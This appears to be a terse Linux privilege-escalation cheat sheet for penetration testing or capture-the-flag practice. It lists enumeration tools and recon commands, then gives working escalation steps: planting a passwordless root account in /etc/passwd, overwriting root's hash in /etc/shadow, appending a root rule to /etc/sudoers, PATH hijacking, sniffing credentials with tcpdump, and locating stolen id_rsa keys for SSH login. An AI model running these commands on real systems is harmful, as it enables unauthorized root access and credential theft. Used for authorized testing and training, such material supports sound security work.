Linux Privilege Escalation
LinPEAS : automatically looks for privilege escalation vectors
pspy : monitor processes
GTFOBins : sudo, suid and capabilities
metasploit: post/multi/recon/local_exploit_suggester
whoami
id
uname -a
ps aux | grep root
history
env
echo $PATH
cat /etc/passwd | grep "sh$"
find / -writable 2>/dev/null
dpkg -l
Interesting files and directories
find / -type f -user <username> -readable 2>/dev/null
find / -writable -type d 2>/dev/null
/etc/passwd
/etc/shadow
/etc/sudoers
/etc/hosts
/etc/crontab
/home/<user>/.bash_history
/root
/var/www
/var/www/html
/opt
/tmp
/dev/shm
/var/mail
/var/spool/mail
/home/<user>
/home/<user>/.ssh
/etc/apache2
/etc/nginx
sudo -l
: list commands the current user can run with sudo
find / -perm -u=s -type f 2>/dev/null
: SUID
find / -perm -g=s -type f 2>/dev/null
: SGID
try path hijacking: export PATH=/tmp:$PATH
domains: modify /etc/hosts
commands without setting the path
wildcards
cat /etc/crontab
crontab -l
pspy
ifconfig
netstat -tulpn
: open ports
tcpdump
: sniff credentials
echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd
su - root2
python -c "import crypt; print crypt.crypt('NewRootPassword')"
nano /etc/shadow
Replace root's hash with the output that you generated
su root
echo "root ALL=(ALL:ALL) ALL" >> /etc/sudoers
sudo su
find / -name id_rsa 2> /dev/null
Copy id_rsa contents of keys found with the above command
Create a local file on your box and paste the content in
chmod 600 id_rsa
ssh -i id_rsa <user>@<ip>